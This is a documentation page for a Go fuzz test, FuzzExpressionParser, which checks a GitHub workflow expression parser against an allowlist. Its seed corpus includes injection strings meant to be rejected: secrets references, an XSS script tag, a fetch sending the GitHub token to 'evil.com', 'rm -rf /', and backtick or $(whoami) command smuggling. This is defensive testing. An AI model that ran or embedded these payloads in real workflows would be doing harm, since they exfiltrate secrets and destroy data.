Function FuzzExpressionParser

pkg/workflow/expression_parser_fuzz_test.go:19–160

FuzzExpressionParser performs fuzz testing on the GitHub expression parser to validate security controls against malicious expression injection attempts. The fuzzer validates that: 1. Allowed GitHub expressions are correctly accepted 2. Unauthorized expressions (secrets) are properly rejected 3. Ma

(f *testing.F)

// 4. Parser handles all fuzzer-generated inputs without panic
// 5. Edge cases are handled correctly (empty, very long, nested delimiters)
func FuzzExpressionParser(f *testing.F) {
	// Seed corpus with allowed GitHub expressions from security allowlist
	// These should all pass validation
	f.Add("This is a workflow: ${{ github.workflow }}")
	f.Add("Repository: ${{ github.repository }}")
	f.Add("Run ID: ${{ github.run_id }}")
	f.Add("Actor: ${{ github.actor }}")
	f.Add("Issue number: ${{ github.event.issue.number }}")
	f.Add("PR number: ${{ github.event.pull_request.number }}")
	f.Add("Task output: ${{ steps.sanitized.outputs.text }}")
	f.Add("Step output: ${{ steps.my-step.outputs.result }}")
	f.Add("User input: ${{ github.event.inputs.name }}")
	f.Add("Env variable: ${{ env.MY_VAR }}")
	f.Add("Workflow input: ${{ inputs.branch }}")
	f.Add("Multiple: ${{ github.workflow }}, ${{ github.repository }}")

	// Complex allowed expressions with logical operators
	f.Add("Complex: ${{ github.workflow && github.repository }}")
	f.Add("OR expression: ${{ github.workflow || github.repository }}")
	f.Add("NOT expression: ${{ !github.workflow }}")
	f.Add("Nested: ${{ (github.workflow && github.repository) || github.run_id }}")

	// OR with string literals (fallback patterns)
	f.Add("OR with single-quoted literal: ${{ inputs.repository || 'FStarLang/FStar' }}")
	f.Add("OR with double-quoted literal: ${{ inputs.name || \"default-name\" }}")
	f.Add("OR with backtick literal: ${{ inputs.config || `default-config` }}")
	f.Add("OR with number literal: ${{ inputs.count || 42 }}")
	f.Add("OR with boolean literal: ${{ inputs.flag || true }}")
	f.Add("Complex OR with nested quotes: ${{ inputs.repo || 'owner/repo' }}")
	f.Add("Multiple OR with literals: ${{ inputs.a || 'default-a' || inputs.b || 'default-b' }}")
	f.Add("OR with special chars in literal: ${{ inputs.path || '/default/path' }}")
	f.Add("OR with escaped quotes: ${{ inputs.text || 'don\\'t panic' }}")

	// Seed corpus with potentially malicious injection attempts
	// These should all fail validation
	f.Add("Token injection: ${{ secrets.GITHUB_TOKEN }}")
	f.Add("Secret injection: ${{ secrets.API_KEY }}")
	f.Add("Secret with underscores: ${{ secrets.MY_SECRET_KEY }}")
	f.Add("Mixed valid and invalid: ${{ github.workflow }} and ${{ secrets.TOKEN }}")

	// Script tag injection attempts
	f.Add("Script tag: ${{ github.workflow }}<script>alert('xss')</script>")
	f.Add("Inline script: <script>fetch('evil.com?token=${{ secrets.GITHUB_TOKEN }}')</script>")

	// Command injection patterns
	f.Add("Command injection: ${{ github.workflow }}; rm -rf /")
	f.Add("Backticks: ${{ github.workflow }}`whoami`")
	f.Add("Dollar paren: ${{ github.workflow }}$(whoami)")

	// Edge cases with empty or malformed expressions
	f.Add("Empty expression: ${{ }}")
	f.Add("Just whitespace: ${{   }}")
	f.Add("No content between braces")
	f.Add("Single brace: ${ github.workflow }")
	f.Add("No closing: ${{ github.workflow")
	f.Add("No opening: github.workflow }}")
	f.Add("Reversed braces: }}{{ github.workflow")